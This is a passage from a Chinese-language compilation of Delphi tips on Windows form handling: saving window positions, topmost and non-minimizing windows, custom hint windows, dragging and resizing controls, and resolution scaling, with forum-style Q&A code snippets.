    RegFile.WriteInteger(SectName,'Width',Width);

    RegFile.WriteInteger(SectName,'Height',Height);

    end;

    //当要保存状态的窗口是程序主窗口时，要特殊处理。因为主窗口收到最小化消息时，只是把此消息转至Application处理，本身并不最小化。所以我们要判断Application的状态。

    if Form = Application.MainForm then begin

    if IsIconic(Application.Handle) then begin

    Reg File.Write Integer(Sect Name,'WindowState',

    Integer(wsMinimized));

    end;

    end;

    end;

    RegFile.Free;

    end;

    //注册控件

    procedure Register;

    begin

    RegisterComponents('XDCtls', [TPosition]);

    end;

    //TPositon类的实现

    //当主窗口Destroy时，调用此函数，此函数又调用保存的OnDestoy事件处理函数

    procedure TPosition.FormDestroy(Sender: TObject);

    begin

    SaveFormPos(Owner as TForm);

    if Assigned(FOnDestroy) then FOnDestroy(Sender);

    end;

    //控件加载时，恢复父窗口位置，并对父窗口的OnDestroy事件进行替换

    procedure TPosition.Loaded;

    begin

    inherited Loaded;

    //非设计状态才进行处理

    if not (csDesigning in Componentstate) then begin

    ReadFormPos(Owner as TForm);

    FOnDestroy := (Owner as TForm).OnDestroy;

    (Owner as TForm).OnDestroy := FormDestroy;

    end;

    end;

    end.

    完成此单元后，新建一个Package，将此单元包含在其中，编译、安装即可。资源文件Position.dcr，可自行创建合适的图标。使用时，只要将这个控件放到相应的Form即可。下面是我测试时的窗体代码，不用加任何语句就可以自动保存窗体状态。

    unit Unit1;

    interface

    uses

    Windows, Messages, SysUtils, Classes, Graphics,

    Controls, Forms, Dialogs,Position;

    type

    TForm1 = class(TForm)

    Position1: TPosition;

    private

    public

    end;

    var

    Form1: TForm1;

    implementation

    {＄R ＊.DFM}

    end.

    此程序在PWIN97＋Delphi5.0下通过


检测当前Windows程序是否被激活

Tapplication类有一个属性--Active，这个属性就可以描述当前运行的程序是否被激活，成为Windows的焦点。检测的代码如下：

If Application.Active=False then

ShowMessage（’当前窗口没有被激活’）；


窗口要始终浮在所有窗口的最上面

这个问题我已回答过我次，好像应该这样做：

Public

procedure Createparams(Var Params:TCreateParams);override;

...

procedure TFormDrop.Createparams(var Params:TCreateParams);

begin

Inherited CreateParams(Params);

With Params do

begin

EXStyle:=ExStyle or WS_EX_TOPMOST OR WS_EX_ACCEPTFILES or WS_DLGFRAME

wndParnet:=GetDesktopWindow; //关键一行，用SetParent都不行！！

end;

end;

procedure SetFormOnTop(Form: TForm; const bFlag: Boolean);

begin

if bFlag then

SetWindowPos(Form.handle, HWND_TOPMOST, 0, 0, 0, 0, swp_nomove or swp_nosize)

else

SetWindowPos(Form.handle, HWND_NOTOPMOST, 0, 0, 0, 0, swp_nomove or swp_nosize);

end;


不规则窗体移动时如何去掉虚框

0：去掉窗体原来的Caption栏

1：自己做一个模拟的Caption栏。

2：拦截鼠标在这个模拟的区域的Mouse消息，鼠标进入的时候，改变消息所指范围，变成NCHITEST，移出时恢复

3：拦截WM_MOUSEDOWN消息，设置起始点。

4：拦截WM_MOUSEMOVE消息，代码如下：

if ssLeft in Shift then

begin

Form1.Left := Form1.Left - (MPos.X-X);

Form1.Top := Form1.Top - (MPos.Y-Y);

end;

全部测试代码：

var

MPos:TPoint; {Position of the Form before drag}

procedure TForm1.Button1Click(Sender: TObject);

var

r:HRGN;

begin

r:=CreateEllipticRgn(0,0,300,300);

SetWindowRgn(handle,r,true);

DeleteObject(r);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

close;

end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

MPos.X := X;

MPos.Y := Y;

end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

begin

if ssLeft in Shift then

begin

Form1.Left := Form1.Left - (MPos.X-X);

Form1.Top := Form1.Top - (MPos.Y-Y);

end;

end;

***************************************

unit epMoveForm;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

TepMoveForm = class(TGraphicControl)

private

FDown: Boolean;

FOldX, FOldY: Integer;

protected

procedure MouseDown(Button: TMouseButton; Shift: TShiftState;

X, Y: Integer); override;

procedure MouseMove(Shift: TShiftState; X, Y: Integer); override;

procedure MouseUp(Button: TMouseButton;

Shift: TShiftState; X, Y: Integer); override;

public

procedure Paint; override;

constructor Create(AOwner: TComponent); override;

published

property Align;

end;

procedure Register;

implementation

constructor TepMoveForm.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

Width := 100;

Height := 100;

end;

procedure TepMoveForm.Paint;

begin

// if csDesigning in ComponentState then

with Canvas do

begin

Pen.Style := psDash;

Brush.Style := bsClear;

Rectangle(0, 0, Width, Height);

end

end;

procedure TepMoveForm.MouseMove;

begin

if FDown then

with TForm(Owner) do

SetBounds(Left + X - FOldX, Top + Y - FOldY, Width, Height);

end;

procedure TepMoveForm.MouseUp;

begin

FDown := False;

end;

procedure TepMoveForm.MouseDown;

begin

if (Button = mbleft) and not FDown then FDown := True;

FOldX := X;

FOldy := Y;

end;

procedure Register;

begin

RegisterComponents('Win32', [TepMoveForm]);

end;

end.


建立自己的Hint窗口

建立自己的Hint窗口

    当鼠标停留在某个控件上时，如果该控件的ShowHint特性为真则会显示出一个黄色的小窗口，这就是Hint窗口。如果从THintWindow派生一个类，并且将新类型赋值给全局变量HintWindowClass，则Delphi的Hint窗口将使用你所建立的新风格。

    新类可以重载THintWindow的Paint方法来自己绘制Hint信息，例如下面这段代码将用红色填充整个Hint窗口，然后以黄色来显示Hint信息：

procedure TNewHintWindow.Paint;

var

R:TRect;

begin

with Canvas do

begin

Brush.Color:=clRed;

Brush.Style:=csClear;

Rectangle(0,0,Width,Height);

end;

R:=ClentRect;

Inc(R.Top,3);

Inc(R.Left,2);

SetBKMode(Canvas.Handle,TRANSPARENT);

Canvas.Font.Color:=clYellow;

DrawText(Canvas.Handle, PChar(Caption),-1,R,DT_LEFT);

end;

    如果希望Hint窗口是透明的，则可以在新类中加入一个消息捕获过程，使Hint窗口不执行重绘背景的操作：

type

TNewHintWindow=class(THintWindow);

private

procedure WMEraseBKGND(var Message:TMessage); message WM_ERASEBKGND;

. . .

end;

procedure TNewHintWindow.WMEraseBKGND(var Message:TMessage);

begin

Message.Result:=0;

end;


窗体最小化的问题

新建一个工程，主窗体为FORM1，另外有一个窗体为FORM2，两个窗体都显示到桌面上，如何做到：

当FORM1最小化时，FORM2仍然保持在屏幕上？（是不是要更改FORM2的Parent，但我将FORM2的Parent设为桌面仍然不行)

很简单啊，只需要重载Form2的CreateParams方法，如下所示：

procedure TForm2.CreateParams(var Params: TCreateParams);

begin

inherited;

Params.ExStyle := Params.ExStyle or WS_EX_APPWINDOW;//可以在TaskBar上显示Form2的标题，如果不需要可以去掉。

Params.WndParent := GetDesktopWindow;//哈哈，原来奥秘在这儿！！

end;

赶快试试看？


设置一个窗体的Parent为另一个窗体时的问题

设置一个Form.Parent:=AnotherForm时，Form不能接受焦点！如何解决？

rh(强硬的毛主席万岁！伟大的周总理万岁！)　(2001-5-9 14:28:00) 得100分

这样做就可以了

procedure TForm1.Button1Click(Sender: TObject);

begin

Form2:=TForm2.Create(self);

windows.SetParent(Form2.Handle,Form1.Handle); //Form2.Parent:=Form1;

Form2.show;

//SetActiveWindow(Form2.Handle);

end;


启动时就有窗体停泊

用 ManualDock吧

例：

Form1中加Panel1,Panel1的属性DockSite设为True,

Form2的属性DragKind设为dkDock, DragMode设为dmAuromatic

在Form1的OnShow中加：

Form2.Show;

Form2.ManualDock(Panel1, nil, alclient);

form2.FormStyle:=fsStayOnTop;


将一个被其它程序遮住的窗口激活并弹出到所有窗口的最前面

嘿嘿，正好我今天看到，贴给你。

unit SysFocus;

interface

uses

Windows,Messages,SysUtils,Classes,Graphics,Controls,Forms,Dialogs;

type

TSysFocus=class(TComponent)

public

function GetSysFocus:integer;

function SetSysFocus(hwnd:integer):integer;

end;

implementation

function TSysFoucs.GetSysFocus;//取当前活动窗口

var

hOtherWin,OtherThreadID,hFocusWin:integer;

begin

hOtherWin:=GetForegroundWindow;

OtherThreadID:=GetWindowThreadProcessID(hOtherWin,nil);

if AttachThreadInput(GetcurrentThreadID,OtherThreadID,True) then

begin

hFocusWin:=GetFocus;

result:=GetFocus;

if HFocusWin<>0 then

try

//SendMessage(GetFocus,WM_COPY,0,0);//书上是这么写的

finally

AttachThreadInput(GetcurrentThreadID,OtherThreadID,False);

end;

end

else result:=GetFocus;

end;

function TSysFocus.SetSysFocus(hwnd:integer):integer;//设置某窗口为活动窗口

var

hOtherWin,OtherTHreadID,hFocusWin:integer;

begin

hOtherWin:=GetForegroundWindow;

OtherThreadID:=GetWindowThreadProcessID(hOtherWin,nil);

if AttachThreadInput(GetcurrentThreadID,OtherThreadID,True) then

begin

hFocusWin:=GetFocus;

SetFocus(hwnd);

//SendMessage(hwnd,WM_COPY,0,0);

if hFocusWin<>0 then

try

//SendMessage(GetFocus,WM_COPY,0,0);

finally

AttachThreadInput(GetCurrentTHreadID,OtherTHreadID,False);

end;

end

else result:=SetFocus(hwnd);

end;

end.


THintWindow 这么用

THintWindow 的 ActivateHint 和 ActivateHintData 怎么用？

type

TGraphicHintWindow = class(THintWindow)

constructor Create(AOwner: TComponent); override;

private

FActivating: Boolean;

public

procedure ActivateHint(Rect: TRect; const AHint: string); override;

protected

procedure Paint; override;

published

property Caption;

end;

{...}

constructor TGraphicHintWindow.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

{

Hier k?nnen beliebige Schrift Eigenschaften gesetzt

werden.

Here you can set custom Font Properties:

}

with Canvas.Font do

begin

Name := 'Arial';

Style := Style + [fsBold];

Color := clBlack;

end;

end;

procedure TGraphicHintWindow.Paint;

var

R: TRect;

bmp: TBitmap;

begin

R := ClientRect;

Inc(R.Left, 2);

Inc(R.Top, 2);

{*******************************************************

Der folgende Code ist ein Beispiel wie man die Paint

Prozedur nutzen kann um einen benutzerdefinierten Hint

zu erzeugen.

The folowing Code ist an example how to create a custom

Hint Object. :

}

bmp := TBitmap.Create;

bmp.LoadfromFile('D:.bmp');

with Canvas do

begin

Brush.Style := bsSolid;

Brush.Color := clsilver;

Pen.Color := clgray;

Rectangle(0, 0, 18, R.Bottom + 1);

Draw(2,(R.Bottom div 2) - (bmp.Height div 2), bmp);

end;

bmp.Free;

//Beliebige HintFarbe

//custom Hint Color

Color := clWhite;

Canvas.Brush.Style := bsClear;

Canvas.TextOut(20, (R.Bottom div 2) - (Canvas.Textheight(Caption) div 2), Caption);

{********************************************************}

end;

procedure TGraphicHintWindow.ActivateHint(Rect: TRect; const AHint: string);

begin

FActivating := True;

try

Caption := AHint;

//H?he des Hints setzen setzen

//Set the "Height" Property of the Hint

Inc(Rect.Bottom, 14);

//Breite des Hints setzen

//Set the "Width" Property of the Hint

Rect.Right := Rect.Right + 20;

UpdateBoundsRect(Rect);

if Rect.Top + Height > Screen.DesktopHeight then

Rect.Top := Screen.DesktopHeight - Height;

if Rect.Left + Width > Screen.DesktopWidth then

Rect.Left := Screen.DesktopWidth - Width;

if Rect.Left < Screen.DesktopLeft then Rect.Left := Screen.DesktopLeft;

if Rect.Bottom < Screen.DesktopTop then Rect.Bottom := Screen.DesktopTop;

SetWindowPos(Handle, HWND_TOPMOST, Rect.Left, Rect.Top, Width, Height,

SWP_SHOWWINDOW or SWP_NOACTIVATE);

Invalidate;

finally

FActivating := False;

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

HintWindowClass := TGraphicHintWindow;

Application.ShowHint := False;

Application.ShowHint := True;

end;

********************************************************************

procedure ActivateHintData(Rect: TRect; const AHint: string; AData: Pointer); virtual;

AData 指的是什么？

能否给个具体例子？

多谢！

var

h : THintWindow;

r : TRect;

begin

with r do

begin

// set the position and size

// of the hint window

left := 10;

top := 50;

right := 200;

bottom := 100;

end;

h := THintWindow.Create( Self );

with h do

begin

// set the background color

Color := clRed;

ActivateHint( r, 'hi there!' );

// perform your tasks here

// before closing the hint window

MessageBox( 0,'Press any key to close the ' + 'hint window',

'THintWindow', MB_OK );

ReleaseHandle;

Free;

end;

end;

--------------------------------------------------------------------------------

来自：笑傲江湖 时间：01-1-20 8:57:10 ID:443232

AData 指的是什么？

能否给个具体例子？

----AData是一个(关联的)指针,

目前来说, ActivateHintData和ActivateHint等效, 因为AData参数被忽略.

在THintWindow类中, ActivateHintData被定义成Virtual的,

后代类可以重载这个方法, 把AHint 和AData所关联的信息

重新组合成自己需要的HINT方式.

以下是THintWindow的源码部分:

procedure THintWindow.ActivateHint(Rect: TRect; const AHint: string);

begin

FActivating := True;

try

Caption := AHint;

Inc(Rect.Bottom, 4);

UpdateBoundsRect(Rect);

if Rect.Top + Height > Screen.DesktopHeight then

Rect.Top := Screen.DesktopHeight - Height;

if Rect.Left + Width > Screen.DesktopWidth then

Rect.Left := Screen.DesktopWidth - Width;

if Rect.Left < Screen.DesktopLeft then Rect.Left := Screen.DesktopLeft;

if Rect.Bottom < Screen.DesktopTop then Rect.Bottom := Screen.DesktopTop;

SetWindowPos(Handle, HWND_TOPMOST, Rect.Left, Rect.Top, Width, Height,

SWP_SHOWWINDOW or SWP_NOACTIVATE);

Invalidate;

finally

FActivating := False;

end;

end;

procedure THintWindow.ActivateHintData(Rect: TRect; const AHint: string; AData: Pointer);

begin

ActivateHint(Rect, AHint);//AData参数被忽略， 你可以传个nil, 或任意一个指针

end;

Application.HintHidePause:=99999999; //防止闪烁

getcursorpos(cursorpos);

LvwGrp.Hint:='XXX';

application.activatehint(cursorpos);


不能被最小化的窗体

如何产生不会按Win+M键而消失的小窗口，类似FLASHGET的悬浮窗，我重载了

procedure TLittlebox.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams( Params);

Params.WndParent:=0;

end;

设这个Form的边为NONE，

结果在任务栏中出现这个窗口的标题，如何才能达到象FLASHGET一样的窗口呢？

我已经知道答案了，从CSDN得知

procedure TLittlebox.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams( Params);

Params.ExStyle := Params.ExStyle or WS_EX_TOPMOST or WS_EX_TOOLWINDOW;

Params.WndParent := 0; // 这是必须的，否则当App变为后台时会将该窗体设置为不TopMost

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

with Application do

SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) and

not WS_EX_APPWINDOW or WS_EX_TOOLWINDOW);

SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE);

end;


任意的拖动窗口和控件

任意的拖动窗口

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

ReleaseCapture;

Perform(WM_SYSCOMMAND,$f012,0);

end;

实际上，可以封装一下上面的代码，这样以后只要在控件的MouseMown中调用下面的函数就可以实现运行的时候拖动和改变控件的大小：

procedure DragControl(WinControl:TWinControl);

const

SM=$F012;

begin

ReleaseCapture;

WinControl.Perform(WM_SYSCOMMAND,SM,0);

end;

其中，$F012可以从$F000变换到$F012，其含义分别如下：

$F000：哎，自己测试吧！

*********************************

＜＜Ｄｅｌｐｈｉ　淡手辑略之控件篇＞＞闪亮登场，掌声．．．．．

//==============================================================================

//任意摆布一个控件（拖动、放大、缩小）******************************************

//==============================================================================

procedure ManipulateControl(Control: TControl; Shift: TShiftState; X, Y, Precision: integer);

var SC_MANIPULATE: Word;

begin

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//光标在控件的最左侧**********************************************************

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

if (X<=Precision) and (Y>Precision) and (Y<Control.Height-Precision)

then begin

SC_MANIPULATE := $F001;

Control.Cursor := crSizeWE;

end

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//光标在控件的最右侧**********************************************************

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

else if (X>=Control.Width-Precision) and (Y>Precision) and (Y<Control.Height-Precision)

then begin

SC_MANIPULATE := $F002;

Control.Cursor := crSizeWE;

end

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//光标在控件的最上侧**********************************************************

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

else if (X>Precision) and (X<Control.Width-Precision) and (Y<=Precision)

then begin

SC_MANIPULATE := $F003;

Control.Cursor := crSizeNS;

end

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//光标在控件的左上角**********************************************************

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

else if (X<=Precision) and (Y<=Precision)

then begin

SC_MANIPULATE := $F004;

Control.Cursor := crSizeNWSE;

end

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//光标在控件的右上角**********************************************************

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

else if (X>=Control.Width-Precision) and (Y<=Precision)

then begin

SC_MANIPULATE := $F005;

Control.Cursor := crSizeNESW ;

end

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//光标在控件的最下侧**********************************************************

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

else if (X>Precision) and (X<Control.Width-Precision) and (Y>=Control.Height-Precision)

then begin

SC_MANIPULATE := $F006;

Control.Cursor := crSizeNS;

end

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//光标在控件的左下角**********************************************************

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

else if (X<=Precision) and (Y>=Control.Height-Precision)

then begin

SC_MANIPULATE := $F007;

Control.Cursor := crSizeNESW;

end

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//光标在控件的右下角**********************************************************

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

else if (X>=Control.Width-Precision) and (Y>=Control.Height-Precision)

then begin

SC_MANIPULATE := $F008;

Control.Cursor := crSizeNWSE;

end

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//光标在控件的客户区（移动整个控件）******************************************

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

else if (X>5) and (Y>5) and (X<Control.Width-5) and (Y<Control.Height-5)

then begin

SC_MANIPULATE := $F009;

Control.Cursor := crSizeAll;

end

else begin

SC_MANIPULATE := $F000;

Control.Cursor := crDefault;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

if Shift=[ssLeft] then

begin

ReleaseCapture;

Control.Perform(WM_SYSCOMMAND, SC_MANIPULATE, 0);

end;

end;

ｅｘａｍｐｌｅ：

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

procedure TForm_Main.Button1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

begin

Caption := IntToStr(X) + '/' + IntToStr(Y);

ManipulateControl((Sender as TControl), Shift, X, Y, 10);

end;

10为精度


解决窗体刷新时的闪烁

我的程序有3套工具栏，3套菜单

分别对应于不同的情况

在互相切换时总是闪动得很厉害

请问各位大虾有何高招？

在切换时尝试使用api函数：lockwindowupdate也许是lockwindowsupdate,禁止在作处理时

对窗体或控件的刷新，等完成后再刷新，可以解决闪烁的问题。

--------------------------------------------------------------------------------

来自：flyt2000 时间：00-12-21 0:27:51 ID:422174

多谢zqmagic的热心指点，已经搞定了。

其实先 DisableAlign ，切换以后再 EnableAlign 也可以达到同样的效果


限制FORM的大小

使用过DELPHI的朋友都会注意到DELPHI本身最上面的窗口，

当它极大时只占屏幕的一小部分，它是如何实现的呢，请看下面的说明：

1)在FORM私有声明部分加上如下一行：

procedureMessage :TWMGetMinMaxInfo ); message WM_GETMINMAXINFO;

WMGetMinMaxInfo( var

2)在声明部分加上如下几行:

procedure TForm1.WMGetMinMaxInfo( var Message :TWMGetMinMaxInfo );

begin

with Message.MinMaxInfo^ do

begin

ptMaxSize.X := 200; {最大化时宽度}

ptMaxSize.Y := 200; {最大化时高度}

ptMaxPosition.X := 99; {最大化时左上角横坐标}

ptMaxPosition.Y := 99; {最大化时左上角纵坐标}

end;

Message.Result := 0; {告诉Windows你改变了 minmaxinfo}

inherited;

end;


Cannot make a visible window modal

不管是否Mdi都应将窗口Visible设置为False，否则不能ShowModal，这个错误我

以前见过。


鼠标所在位置的窗体名称

标 题: 得到鼠标所在位置的窗体名称

下面的程序可以搞定：

function GetParentWindowNameAt ( X, Y : integer ) : string;

var P : TPoint; W : TWinControl;

begin

P.X := X;

P.Y := Y;

W := FindVCLWindow( P );

if( nil <> W ) then

Result := W.Name;

Result := '';

end;


如何判断mouse按下了最小化按钮

方法一：截获 WM_SYSCOMMAND消息，看窗体是否处于最小化状态

type

TForm1 = class(TForm)

private

procedure WMSysCommand(var Message: TMessage); message WM_SYSCOMM

AND;

//...

end;

implementation

{$R *.DFM}

procedure TForm1.WMSysCommand(var Message:TMessage);

begin

if Message.WParam = SC_ICON then //最小化了

begin

//form1.hide; ...

end

else

inherited;

end;

方法二，直接判断是否点了窗体非客户区的最小化按钮

type

TForm1 = class(TForm)

private

procedure Minimize(var mess:TWMNCLBUTTONDOWN);message WM_NCLBUTTON

DOWN;

//...

end;

implementation

{$R *.DFM}

procedure TForm1.Minimize(var mess:TWMNCLBUTTONDOWN);

begin

if mess.hittest=htreduce then //htreduce表示是否按了最小化按钮

begin

//Form1.hide; ...

end

else

inherited;

end;


最小化问题

不随主窗口最小化而最小化的窗口，如何使程序最小化到任务栏上，而不是缩小到屏幕上的某个位置：

1.在你的小窗口中重载CreateParam函数并进行处理，主要是改变小窗口的Parent

protected

procedure CreateParams(Var Param:TCreateParams);override;

...

procedure TMiniForm.CreateParams(Var Param:TCreateParams);

begin

Inherited CreateParams(Param);

Param.wndParent := GetDesktopWindow; //这样你的小窗口就不会跟着MainForm最小化了

end;

随主窗口最小化而最小化的窗口：

同上，不过

Param.wndParent := mainform.handle; //这样你的小窗口就不会跟着MainForm最小化了

另外，Delphi提供了另外一个手段，不过不好用，必须用动态的方法：

Form2 := TForm2.CreateParented(H);

Form2.Show;


应用程序运行就隐藏

设置主窗体visible位false是不行的

我想你肯定没有试过！

正确的做法是在工程文件里面加一句话，就想下面这样

program Server;

uses

Forms,

Main in 'Main.pas' {ServerForm};

{$R *.RES}

begin

Application.Initialize;

Application.CreateForm(TServerForm, ServerForm);

Application.ShowMainForm := False;//这句话隐藏主窗口

Application.Run;

end.


窗体始终置于最前但不是主窗体

我用了SetWindowPos函数，窗体是启动的主窗体时，就可以。

但是如果窗体是在另一个窗体中通过form.show方法显示出来时，怎么也不行了。

原因是什么呢？

/////////////////////////

方法一：

先setforegroundwindow(HWND)；然后再setwindowpos(form2.Handle,HWND_TOPmost,10,10,200,300,SWP_SHOWWINDOW );

////////////////////////

方法二：

关键技术是重载Form的CreateParams方法

{form2 code}

public

procedure CreateParams(Var Params:TCreateParams);override;

uses unit1;

procedure tform2.CreateParams(var Params:TCreateParams);

begin

inherited;

With Params do

begin

wndParent:=GetDesktopwindow;

ExStyle:=ExStyle or WS_EX_TOPMOST;

end;

end;

procedure TForm2.FormClose(Sender :TObject;var Action:TCloseAction);

begin

Form1.show;

ShowWindow(Application.handle,sw_show);

end;

{Form1}

uses unit2;

procedure TForm1.Button1Click(Sender:TObject);

begin

with tform2.create(self) do show;

hide; {Hide Form1}

ShowWindow(Application.handle,sw_hide); {Hide Application}

end;


禁止窗体移动

type

TForm1 = class(TForm)

private

procedure wmnchittest(var msg:twmnchittest); message wm_nchittest;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.wmnchittest(var msg:twmnchittest);

begin

inherited;

if (htcaption = msg.result) then msg.result:=htclient;

end;

end.


利用RETURN代替TAB

Shift + Tab

perform(WM_NEXTDLGCTL,0,0);这是向下移动，请问如何向上移动？？？？？？

perform(WM_NEXTDLGCTL,1,0);即可向上移动

为什么不看MSDN，不看HELP你当然不知道了。

perform(WM_NEXTDLGCTL,0,1)

控制焦点移动，还可以利用TWinControl.SelectNext()方法来做！

*********************

Form.KeyPreview := true; 在Form的KeyDown中

if Key = VK_RETURN then

begin

if ActiveControl is TDBGrid or ... then

PostMessage(ActiveControl.Handle, WM_KEYDOWN, VK_TAB, 0);

else

PostMessage(Handle, WM_KEYDOWN, VK_TAB, 0);

Key := 0;

end

---------------

procedure EnterToTab(aForm: TForm; var Key: Char);

begin

if Key = #13 then

begin

key := #0;

aForm.Perform(CM_DialogKey, VK_TAB, 0);

end;

end;

***************

或者拦截Application.OnMessage即可，添加代码：

if Msg.Message = WM_KEYDOWN then

begin

if Msg.wParam = VK_RETURN then

Keybd_event(VK_TAB, 0, 0, 0);

end; //if


运行是用鼠标改变大小

拦截wm_NcHitTest即可，例如：

type

tmybutton=class(tbutton)

public

procedure WmNcHitTest(var msg:TWmNcHitTest);message wm_NcHitTest;

end;

procedure TMyButton.WmNcHitTest(var msg:TWmNcHitTest);

var

pt:tpoint;

begin

pt:=point(msg.xpos,msg.ypos);

pt:=ScreentoClient(pt);

if (pt.x<5) and (pt.y<5) then

msg.Result:=httopright

else if (pt.x>width-5) and (pt.y<5) then

msg.Result:=httopright

else if (pt.x >width-5) and (pt.y>height-5) then

msg.Result:=htbottomright

else if (pt.x<5) and (pt.y>height-5) then

msg.Result:=htbottomleft

else if (pt.x<5) then

msg.Result:=htleft

else if (pt.y<5) then

msg.Result:=httop

else if (pt.x>width-5) then

msg.Result:=htright

else if (pt.y>height-5) then

msg.Result:=htbottom

else

inherited;

end;


Form生成时的事件次序

OnCreate-->OnShow-->OnPaint-->OnActivate-->OnResize-->OnPaint-->OnCloseQuery-->OnClose-->OnDeactivate-->OnHide-->OnDestroy

问题:我做了一个 MDI FORM，当MDI Form出现以後，如果判断出某些资料未设定，

要再出现一个Form2.ShowModal设定资料的对话盒，应该写在那儿呢？我试过的

OnActivate ，OnShow ，但MDI Form皆未出现就去执行这部份程式，就出现错误了。

要解决这个问题, 首先要了解从 Form 产生的""个过程中, 各事件发生与执行的次序.如果是一般的 SDI Form, 各事件的发生次序如下:

OnCreate

OnShow

在萤幕上看到这个视窗

OnActivate

OnPaint

如果是 MDI 视窗, 而 MdiChild 的第一个子视窗是在程式启动时, 就出现在MdiForm中的话,

那麽,各事件的次序是

主视窗的 OnCreate

子视窗的 OnCreate

子视窗的 OnShow

子视窗的 OnActivate

主视窗的 OnShow

在萤幕上看到主视窗及第一个子视窗

主视窗的 OnPaint

ok, 您发现了吗? OnShow 是在视窗被看到之前的事, 而 OnActivate 并没有发生,因此,您的问题中所采用的 '我试过的 OnActivate ，OnShow ....',

当然不能在视窗於'被看到後'才出现设定资料的对话盒

因此, 以您的状况, 检查与设定的程式可以写在主视窗的 OnPaint 中, 不过,OnPain是一个常发生的事件,所以应该要在主视窗的类别定义中额外加上一个 private 的逻辑成员资料变数,以控制不要每次视窗重画时都检查设定.


窗体和字体在Win98与Win2000下不一样

我在Win2000下写的程序，在Win98下运行窗体和字体变得很大，是何原因？把程序拿到Win98下重新设置窗体大小、字体格式，再编译,这时在Win98下正常但在Win2000下运行改过的EXE窗体和字体变得很小。:(

只有把程序完全在Win98下重新编写编译，在Win98和Win2000两种环境中才都没问题！

在下迷惑？为何？如何解决？还望各位赐教！

回复贴子：

  回复人：xfsmoke(范·巴斯滕)　(2001-1-31 19:33:00) 得20分

嘿嘿，你在Win2000下把字体的字符集设为CHINESE_GB2312。


FORM内的控件不受屏幕分辨率的影响

窗体在不同分辨率下的大小和控件位置、变形问题：在800*600下做了一个FORM，但到640*480下一看却变了形，控件的相对位置都变了，不知道如何解决，请教诸位高手。

Another_eYes (1998-11-22 22:39:29)

implementation

const

ScreenWidth: LongInt = 800; {I designed my form in 800x600 mode.}

ScreenHeight: LongInt = 600;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

scaled := true;

if (screen.width <> ScreenWidth) then

begin

height := longint(height) * longint(screen.height) DIV ScreenHeight;

width := longint(width) * longint(screen.width) DIV ScreenWidth;

scaleBy(screen.width, ScreenWidth);

end;

end;

下面是解决字体大小的代码:

